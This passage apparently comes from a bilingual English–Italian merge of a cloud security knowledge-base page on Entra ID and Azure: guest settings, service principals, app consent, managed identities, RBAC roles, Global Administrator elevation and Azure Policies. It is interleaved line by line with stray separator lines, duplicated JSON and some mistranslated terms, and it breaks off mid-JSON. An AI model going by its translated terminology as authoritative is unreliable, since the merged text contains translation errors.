- Questo non limita l'accesso API al portale (solo web)
|
||||
- Consentire agli utenti di collegare l'account di lavoro o scolastico con LinkedIn: Predefinito **Sì**
|
||||
- Mostrare mantenere l'utente connesso: Predefinito **Sì**
|
||||
- Limitare gli utenti dal recuperare la chiave BitLocker per i loro dispositivi di proprietà: Predefinito No (controlla nelle Impostazioni Dispositivo)
|
||||
- Leggere altri utenti: Predefinito **Sì** (tramite Microsoft Graph)
|
||||
- **Ospiti**
|
||||
- **Restrizioni di accesso per utenti ospiti**
|
||||
- **Gli utenti ospiti hanno lo stesso accesso dei membri** concede a tutti gli utenti membri i permessi agli utenti ospiti per impostazione predefinita.
|
||||
- **Gli utenti ospiti hanno accesso limitato alle proprietà e alle appartenenze degli oggetti di directory (predefinito)** limita l'accesso degli ospiti solo al proprio profilo utente per impostazione predefinita. L'accesso ad altre informazioni sugli utenti e sui gruppi non è più consentito.
|
||||
- **L'accesso degli utenti ospiti è limitato alle proprietà e alle appartenenze dei propri oggetti di directory** è il più restrittivo.
|
||||
- **Gli ospiti possono invitare**
|
||||
- **Chiunque nell'organizzazione può invitare utenti ospiti, inclusi ospiti e non amministratori (il più inclusivo) - Predefinito**
|
||||
- **Gli utenti membri e gli utenti assegnati a ruoli amministrativi specifici possono invitare utenti ospiti, inclusi ospiti con permessi di membro**
|
||||
- **Solo gli utenti assegnati a ruoli amministrativi specifici possono invitare utenti ospiti**
|
||||
- **Nessuno nell'organizzazione può invitare utenti ospiti, inclusi gli amministratori (il più restrittivo)**
|
||||
- **Uscita utente esterno**: Predefinito **Vero**
|
||||
- Consentire agli utenti esterni di lasciare l'organizzazione
|
||||
|
||||
> [!TIP]
|
||||
> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
|
||||
> Anche se limitati per impostazione predefinita, gli utenti (membri e ospiti) con permessi concessi potrebbero eseguire le azioni precedenti.
|
||||
|
||||
### **Groups**
|
||||
### **Gruppi**
|
||||
|
||||
There are **2 types of groups**:
|
||||
Ci sono **2 tipi di gruppi**:
|
||||
|
||||
- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
|
||||
- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
|
||||
- This will have an **email address** with the domain of the EntraID tenant.
|
||||
- **Sicurezza**: Questo tipo di gruppo è utilizzato per dare accesso ai membri ad applicazioni, risorse e assegnare licenze. Gli utenti, i dispositivi, i principi di servizio e altri gruppi possono essere membri.
|
||||
- **Microsoft 365**: Questo tipo di gruppo è utilizzato per la collaborazione, dando accesso ai membri a una casella di posta condivisa, calendario, file, sito SharePoint, e così via. I membri del gruppo possono essere solo utenti.
|
||||
- Questo avrà un **indirizzo email** con il dominio del tenant EntraID.
|
||||
|
||||
There are **2 types of memberships**:
|
||||
Ci sono **2 tipi di appartenenze**:
|
||||
|
||||
- **Assigned**: Allow to manually add specific members to a group.
|
||||
- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
|
||||
- **Assegnato**: Consente di aggiungere manualmente membri specifici a un gruppo.
|
||||
- **Appartenenza dinamica**: Gestisce automaticamente l'appartenenza utilizzando regole, aggiornando l'inclusione del gruppo quando cambiano gli attributi dei membri.
|
||||
|
||||
### **Service Principals**
|
||||
### **Principi di Servizio**
|
||||
|
||||
A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
|
||||
Un **Principio di Servizio** è un **identità** creata per **uso** con **applicazioni**, servizi ospitati e strumenti automatizzati per accedere alle risorse Azure. Questo accesso è **ristretto dai ruoli assegnati** al principio di servizio, dandoti il controllo su **quali risorse possono essere accessibili** e a quale livello. Per motivi di sicurezza, è sempre consigliato **utilizzare principi di servizio con strumenti automatizzati** piuttosto che consentire loro di accedere con un'identità utente.
|
||||
|
||||
It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
|
||||
È possibile **accedere direttamente come un principio di servizio** generando un **segreto** (password), un **certificato**, o concedendo accesso **federato** a piattaforme di terze parti (ad es. Github Actions) su di esso.
|
||||
|
||||
- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
|
||||
- If you choose certificate authentication, make sure the **application will have access over the private key**.
|
||||
- Se scegli l'autenticazione **password** (per impostazione predefinita), **salva la password generata** poiché non potrai accedervi di nuovo.
|
||||
- Se scegli l'autenticazione tramite certificato, assicurati che l'**applicazione avrà accesso alla chiave privata**.
|
||||
|
||||
### App Registrations
|
||||
### Registrazioni App
|
||||
|
||||
An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
|
||||
Una **Registrazione App** è una configurazione che consente a un'applicazione di integrarsi con Entra ID e di eseguire azioni.
|
||||
|
||||
#### Key Components:
|
||||
#### Componenti Chiave:
|
||||
|
||||
1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
|
||||
2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
|
||||
3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). 
|
||||
1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
|
||||
4. **API Permissions:** Specifies what resources or APIs the app can access.
|
||||
5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
|
||||
6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
|
||||
1. The **service principal** will get all the requested permissions it was configured with.
|
||||
1. **ID Applicazione (Client ID):** Un identificatore unico per la tua app in Azure AD.
|
||||
2. **URI di Reindirizzamento:** URL dove Azure AD invia le risposte di autenticazione.
|
||||
3. **Certificati, Segreti e Credenziali Federate:** È possibile generare un segreto o un certificato per accedere come il principio di servizio dell'applicazione, o per concedere accesso federato ad essa (ad es. Github Actions). 
|
||||
1. Se viene generato un **certificato** o un **segreto**, è possibile per una persona **accedere come il principio di servizio** con strumenti CLI conoscendo l'**ID applicazione**, il **segreto** o il **certificato** e il **tenant** (dominio o ID).
|
||||
4. **Permessi API:** Specifica quali risorse o API l'app può accedere.
|
||||
5. **Impostazioni di Autenticazione:** Definisce i flussi di autenticazione supportati dall'app (ad es., OAuth2, OpenID Connect).
|
||||
6. **Principio di Servizio**: Un principio di servizio viene creato quando viene creata un'App (se viene fatto dalla console web) o quando viene installata in un nuovo tenant.
|
||||
1. Il **principio di servizio** otterrà tutti i permessi richiesti con cui è stato configurato.
|
||||
|
||||
### Default Consent Permissions
|
||||
### Permessi di Consenso Predefiniti
|
||||
|
||||
**User consent for applications**
|
||||
**Consenso dell'utente per le applicazioni**
|
||||
|
||||
- **Do not allow user consent**
|
||||
- An administrator will be required for all apps.
|
||||
- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
|
||||
- All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
|
||||
- **Default** low impact permissions (although you need to accept to add them as low):
|
||||
- User.Read - sign in and read user profile
|
||||
- offline_access - maintain access to data that users have given it access to
|
||||
- openid - sign users in
|
||||
- profile - view user's basic profile
|
||||
- email - view user's email address
|
||||
- **Allow user consent for apps (Default)**
|
||||
- All users can consent for any app to access the organization's data.
|
||||
- **Non consentire il consenso dell'utente**
|
||||
- Sarà richiesto un amministratore per tutte le app.
|
||||
- **Consentire il consenso dell'utente per app di editori verificati, per permessi selezionati (Consigliato)**
|
||||
- Tutti gli utenti possono dare consenso per permessi classificati come "basso impatto", per app di editori verificati o app registrate in questa organizzazione.
|
||||
- **Predefinito** permessi a basso impatto (anche se devi accettare per aggiungerli come bassi):
|
||||
- User.Read - accedi e leggi il profilo utente
|
||||
- offline_access - mantieni l'accesso ai dati a cui gli utenti hanno dato accesso
|
||||
- openid - accedi gli utenti
|
||||
- profile - visualizza il profilo di base dell'utente
|
||||
- email - visualizza l'indirizzo email dell'utente
|
||||
- **Consentire il consenso dell'utente per app (Predefinito)**
|
||||
- Tutti gli utenti possono dare consenso per qualsiasi app per accedere ai dati dell'organizzazione.
|
||||
|
||||
**Admin consent requests**: Default **No**
|
||||
**Richieste di consenso dell'amministratore**: Predefinito **No**
|
||||
|
||||
- Users can request admin consent to apps they are unable to consent to
|
||||
- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
|
||||
- Configure also if users will receive email notifications and expiration reminders 
|
||||
- Gli utenti possono richiedere il consenso dell'amministratore per app a cui non possono dare consenso
|
||||
- Se **Sì**: È possibile indicare Utenti, Gruppi e Ruoli che possono dare consenso alle richieste
|
||||
- Configura anche se gli utenti riceveranno notifiche via email e promemoria di scadenza 
|
||||
|
||||
### **Managed Identity (Metadata)**
|
||||
### **Identità Gestite (Metadati)**
|
||||
|
||||
Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
|
||||
Le identità gestite in Azure Active Directory offrono una soluzione per **gestire automaticamente l'identità** delle applicazioni. Queste identità sono utilizzate dalle applicazioni per **connettersi** a **risorse** compatibili con l'autenticazione di Azure Active Directory (**Azure AD**). Questo consente di **eliminare la necessità di codificare le credenziali cloud** nel codice poiché l'applicazione sarà in grado di contattare il **servizio di metadati** per ottenere un token valido per **eseguire azioni** come l'identità gestita indicata in Azure.
|
||||
|
||||
There are two types of managed identities:
|
||||
Ci sono due tipi di identità gestite:
|
||||
|
||||
- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
|
||||
- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
|
||||
- **Assegnate dal sistema**. Alcuni servizi Azure ti consentono di **abilitare un'identità gestita direttamente su un'istanza di servizio**. Quando abiliti un'identità gestita assegnata dal sistema, un **principio di servizio** viene creato nel tenant Entra ID fidato dalla sottoscrizione in cui si trova la risorsa. Quando la **risorsa** viene **eliminata**, Azure elimina automaticamente **l'identità** per te.
|
||||
- **Assegnate dall'utente**. È anche possibile per gli utenti generare identità gestite. Queste vengono create all'interno di un gruppo di risorse all'interno di una sottoscrizione e un principio di servizio verrà creato nel EntraID fidato dalla sottoscrizione. Poi, puoi assegnare l'identità gestita a una o **più istanze** di un servizio Azure (risorse multiple). Per le identità gestite assegnate dall'utente, **l'identità è gestita separatamente dalle risorse che la utilizzano**.
|
||||
|
||||
Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
|
||||
Le Identità Gestite **non generano credenziali eterne** (come password o certificati) per accedere come il principio di servizio ad essa associato.
|
||||
|
||||
### Enterprise Applications
|
||||
### Applicazioni Aziendali
|
||||
|
||||
It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
|
||||
È solo un **tabella in Azure per filtrare i principi di servizio** e controllare le applicazioni che sono state assegnate.
|
||||
|
||||
**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
|
||||
**Non è un altro tipo di “applicazione”**, non esiste alcun oggetto in Azure che sia un “Applicazione Aziendale”, è solo un'astrazione per controllare i Principi di servizio, le Registrazioni App e le identità gestite.
|
||||
|
||||
### Administrative Units
|
||||
### Unità Amministrative
|
||||
|
||||
Administrative units allows to **give permissions from a role over a specific portion of an organization**.
|
||||
Le unità amministrative consentono di **dare permessi da un ruolo su una specifica porzione di un'organizzazione**.
|
||||
|
||||
Example:
|
||||
Esempio:
|
||||
|
||||
- Scenario: A company wants regional IT admins to manage only the users in their own region.
|
||||
- Implementation:
|
||||
- Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
|
||||
- Populate AUs with users from their respective regions.
|
||||
- AUs can **contain users, groups, or devices**
|
||||
- AUs support **dynamic memberships**
|
||||
- AUs **cannot contain AUs**
|
||||
- Assign Admin Roles:
|
||||
- Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
|
||||
- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
|
||||
- Scenario: Un'azienda vuole che gli amministratori IT regionali gestiscano solo gli utenti nella propria regione.
|
||||
- Implementazione:
|
||||
- Crea Unità Amministrative per ogni regione (ad es., "AU Nord America", "AU Europa").
|
||||
- Popola le AU con utenti delle rispettive regioni.
|
||||
- Le AU possono **contenere utenti, gruppi o dispositivi**
|
||||
- Le AU supportano **appartenenze dinamiche**
|
||||
- Le AU **non possono contenere AU**
|
||||
- Assegna Ruoli Amministrativi:
|
||||
- Concedi il ruolo di "Amministratore Utente" al personale IT regionale, limitato all'AU della loro regione.
|
||||
- Risultato: Gli amministratori IT regionali possono gestire gli account utente all'interno della loro regione senza influenzare altre regioni.
|
||||
|
||||
### Entra ID Roles
|
||||
### Ruoli Entra ID
|
||||
|
||||
- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
|
||||
- Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
|
||||
- The most privileged role is **Global Administrator**
|
||||
- In the Description of the role it’s possible to see its **granular permissions**
|
||||
- Per gestire Entra ID ci sono alcuni **ruoli predefiniti** che possono essere assegnati ai principi Entra ID per gestire Entra ID
|
||||
- Controlla i ruoli in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
|
||||
- Il ruolo più privilegiato è **Amministratore Globale**
|
||||
- Nella descrizione del ruolo è possibile vedere i suoi **permessi granulari**
|
||||
|
||||
## Roles & Permissions
|
||||
## Ruoli e Permessi
|
||||
|
||||
**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
|
||||
**I ruoli** sono **assegnati** ai **principi** su un **ambito**: `principle -[HAS ROLE]->(scope)`
|
||||
|
||||
**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
|
||||
**I ruoli** assegnati ai **gruppi** sono **ereditati** da tutti i **membri** del gruppo.
|
||||
|
||||
Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
|
||||
A seconda dell'ambito a cui è stato assegnato il ruolo, il **ruolo** potrebbe essere **ereditato** da **altre risorse** all'interno del contenitore dell'ambito. Ad esempio, se un utente A ha un **ruolo sulla sottoscrizione**, avrà quel **ruolo su tutti i gruppi di risorse** all'interno della sottoscrizione e su **tutte le risorse** all'interno del gruppo di risorse.
|
||||
|
||||
### **Classic Roles**
|
||||
### **Ruoli Classici**
|
||||
|
||||
| **Owner** | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
|
||||
| **Contributor** | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul> | All resource types |
|
||||
| **Reader** | • View all resources | All resource types |
|
||||
| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
| **Proprietario** | <ul><li>Accesso completo a tutte le risorse</li><li>Può gestire l'accesso per altri utenti</li></ul> | Tutti i tipi di risorsa |
|
||||
| ------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------ |
|
||||
| **Collaboratore** | <ul><li>Accesso completo a tutte le risorse</li><li>Non può gestire l'accesso</li></ul> | Tutti i tipi di risorsa |
|
||||
| **Lettore** | • Visualizza tutte le risorse | Tutti i tipi di risorsa |
|
||||
| **Amministratore Accesso Utente** | <ul><li>Visualizza tutte le risorse</li><li>Può gestire l'accesso per altri utenti</li></ul> | Tutti i tipi di risorsa |
|
||||
|
||||
### Built-In roles
|
||||
### Ruoli Predefiniti
|
||||
|
||||
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
[Dal documento: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Il controllo degli accessi basato sui ruoli di Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ha diversi **ruoli predefiniti di Azure** che puoi **assegnare** a **utenti, gruppi, principi di servizio e identità gestite**. Le assegnazioni di ruolo sono il modo in cui controlli **l'accesso alle risorse Azure**. Se i ruoli predefiniti non soddisfano le esigenze specifiche della tua organizzazione, puoi creare i tuoi [**ruoli personalizzati di Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
|
||||
**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
|
||||
I ruoli **predefiniti** si applicano solo alle **risorse** per cui sono **destinati**, ad esempio controlla questi 2 esempi di **ruoli predefiniti su risorse Compute**:
|
||||
|
||||
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| [Lettore Backup Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Fornisce permesso al vault di backup per eseguire il backup del disco. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
|
||||
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
| [Login Utente Macchina Virtuale](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Visualizza le Macchine Virtuali nel portale e accede come utente normale. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
|
||||
This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
|
||||
Questi ruoli possono **essere assegnati anche su contenitori logici** (come gruppi di gestione, sottoscrizioni e gruppi di risorse) e i principi interessati li avranno **sulle risorse all'interno di quei contenitori**.
|
||||
|
||||
- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
- Trova qui un elenco con [**tutti i ruoli predefiniti di Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Trova qui un elenco con [**tutti i ruoli predefiniti di Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
|
||||
### Custom Roles
|
||||
### Ruoli Personalizzati
|
||||
|
||||
- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
|
||||
- It’s possible to configure all the granular permissions the custom role will have
|
||||
- It’s possible to exclude permissions
|
||||
- A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
|
||||
- It’s possible to use wildcards
|
||||
- The used format is a JSON
|
||||
- `actions` are for control actions over the resource
|
||||
- `dataActions` are permissions over the data within the object
|
||||
|
||||
Example of permissions JSON for a custom role:
|
||||
- È anche possibile creare [**ruoli personalizzati**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- Vengono creati all'interno di un ambito, anche se un ruolo può essere in più ambiti (gruppi di gestione, sottoscrizione e gruppi di risorse)
|
||||
- È possibile configurare tutti i permessi granulari che avrà il ruolo personalizzato
|
||||
- È possibile escludere permessi
|
||||
- Un principio con un permesso escluso non potrà utilizzarlo anche se il permesso viene concesso altrove
|
||||
- È possibile utilizzare caratteri jolly
|
||||
- Il formato utilizzato è un JSON
|
||||
- `actions` sono per controllare le azioni sulle risorse
|
||||
- `dataActions` sono permessi sui dati all'interno dell'oggetto
|
||||
|
||||
Esempio di JSON di permessi per un ruolo personalizzato:
|
||||
```json
|
||||
{
|
||||
"properties": {
|
||||
"roleName": "",
|
||||
"description": "",
|
||||
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
|
||||
"permissions": [
|
||||
{
|
||||
"actions": [
|
||||
"Microsoft.DigitalTwins/register/action",
|
||||
"Microsoft.DigitalTwins/unregister/action",
|
||||
"Microsoft.DigitalTwins/operations/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
|
||||
"Microsoft.CostManagement/exports/*"
|
||||
],
|
||||
"notActions": [
|
||||
"Astronomer.Astro/register/action",
|
||||
"Astronomer.Astro/unregister/action",
|
||||
"Astronomer.Astro/operations/read",
|
||||
"Astronomer.Astro/organizations/read"
|
||||
],
|
||||
"dataActions": [],
|
||||
"notDataActions": []
|
||||
}
|
||||
]
|
||||
}
|
||||
"properties": {
|
||||
"roleName": "",
|
||||
"description": "",
|
||||
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
|
||||
"permissions": [
|
||||
{
|
||||
"actions": [
|
||||
"Microsoft.DigitalTwins/register/action",
|
||||
"Microsoft.DigitalTwins/unregister/action",
|
||||
"Microsoft.DigitalTwins/operations/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
|
||||
"Microsoft.CostManagement/exports/*"
|
||||
],
|
||||
"notActions": [
|
||||
"Astronomer.Astro/register/action",
|
||||
"Astronomer.Astro/unregister/action",
|
||||
"Astronomer.Astro/operations/read",
|
||||
"Astronomer.Astro/organizations/read"
|
||||
],
|
||||
"dataActions": [],
|
||||
"notDataActions": []
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
### Permessi ordine
|
||||
|
||||
### Permissions order
|
||||
|
||||
- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
|
||||
- An explicit **deny role assignment takes precedence** over the role granting the permission.
|
||||
- Affinché un **principale abbia accesso a una risorsa**, deve avere un ruolo esplicito assegnato a lui (in qualsiasi modo) **che gli conceda quel permesso**.
|
||||
- Un'esplicita **assegnazione di ruolo di negazione ha la precedenza** sul ruolo che concede il permesso.
|
||||
|
||||
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
|
||||
|
||||
### Global Administrator
|
||||
### Amministratore Globale
|
||||
|
||||
Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
|
||||
L'Amministratore Globale è un ruolo di Entra ID che concede **controllo completo sul tenant di Entra ID**. Tuttavia, di default non concede alcun permesso sulle risorse di Azure.
|
||||
|
||||
Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
|
||||
This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
Gli utenti con il ruolo di Amministratore Globale hanno la possibilità di '**elevare' al ruolo di Amministratore Accesso Utente di Azure nel Gruppo di Gestione Radice**. Quindi, gli Amministratori Globali possono gestire l'accesso in **tutte le sottoscrizioni e i gruppi di gestione di Azure.**\
|
||||
Questa elevazione può essere effettuata alla fine della pagina: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
|
||||
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure Policies
|
||||
### Politiche di Azure
|
||||
|
||||
**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
|
||||
**Le Politiche di Azure** sono regole che aiutano le organizzazioni a garantire che le loro risorse soddisfino standard specifici e requisiti di conformità. Consentono di **applicare o auditare impostazioni sulle risorse in Azure**. Ad esempio, puoi impedire la creazione di macchine virtuali in una regione non autorizzata o garantire che tutte le risorse abbiano tag specifici per il tracciamento.
|
||||
|
||||
Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
|
||||
Le Politiche di Azure sono **proattive**: possono fermare la creazione o la modifica di risorse non conformi. Sono anche **reattive**, consentendo di trovare e correggere risorse non conformi esistenti.
|
||||
|
||||
#### **Key Concepts**
|
||||
#### **Concetti Chiave**
|
||||
|
||||
1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
|
||||
2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
|
||||
3. **Initiatives**: A collection of policies grouped together for broader enforcement.
|
||||
4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
|
||||
1. **Definizione della Politica**: Una regola, scritta in JSON, che specifica cosa è consentito o richiesto.
|
||||
2. **Assegnazione della Politica**: L'applicazione di una politica a un ambito specifico (ad es., sottoscrizione, gruppo di risorse).
|
||||
3. **Iniziative**: Una raccolta di politiche raggruppate per un'applicazione più ampia.
|
||||
4. **Effetto**: Specifica cosa succede quando la politica viene attivata (ad es., "Negare", "Auditare" o "Aggiungere").
|
||||
|
||||
**Some examples:**
|
||||
**Alcuni esempi:**
|
||||
|
||||
1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
|
||||
2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
|
||||
3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
|
||||
4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
|
||||
5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
|
||||
6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
|
||||
1. **Garantire la Conformità con Regioni Azure Specifiche**: Questa politica garantisce che tutte le risorse siano distribuite in regioni Azure specifiche. Ad esempio, un'azienda potrebbe voler garantire che tutti i suoi dati siano archiviati in Europa per la conformità al GDPR.
|
||||
2. **Applicare Standard di Nominazione**: Le politiche possono applicare convenzioni di denominazione per le risorse di Azure. Questo aiuta a organizzare e identificare facilmente le risorse in base ai loro nomi, il che è utile in ambienti grandi.
|
||||
3. **Limitare Certi Tipi di Risorse**: Questa politica può limitare la creazione di certi tipi di risorse. Ad esempio, una politica potrebbe essere impostata per impedire la creazione di tipi di risorse costosi, come alcune dimensioni di VM, per controllare i costi.
|
||||
4. **Applicare Politiche di Tagging**: I tag sono coppie chiave-valore associate alle risorse di Azure utilizzate per la gestione delle risorse. Le politiche possono imporre che determinati tag debbano essere presenti o avere valori specifici per tutte le risorse. Questo è utile per il tracciamento dei costi, la proprietà o la categorizzazione delle risorse.
|
||||
5. **Limitare l'Accesso Pubblico alle Risorse**: Le politiche possono imporre che determinate risorse, come account di archiviazione o database, non abbiano endpoint pubblici, garantendo che siano accessibili solo all'interno della rete dell'organizzazione.
|
||||
6. **Applicare Automaticamente Impostazioni di Sicurezza**: Le politiche possono essere utilizzate per applicare automaticamente impostazioni di sicurezza alle risorse, come applicare un gruppo di sicurezza di rete specifico a tutte le VM o garantire che tutti gli account di archiviazione utilizzino la crittografia.
|
||||
|
||||
Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
|
||||
|
||||
Azure policy json example:
|
||||
Nota che le Politiche di Azure possono essere collegate a qualsiasi livello della gerarchia di Azure, ma sono **comunemente utilizzate nel gruppo di gestione radice** o in altri gruppi di gestione.
|
||||
|
||||
Esempio di politica Azure json:
|
||||
```json
|
||||
{
|
||||
"policyRule": {
|
||||
"if": {
|
||||
"field": "location",
|
||||
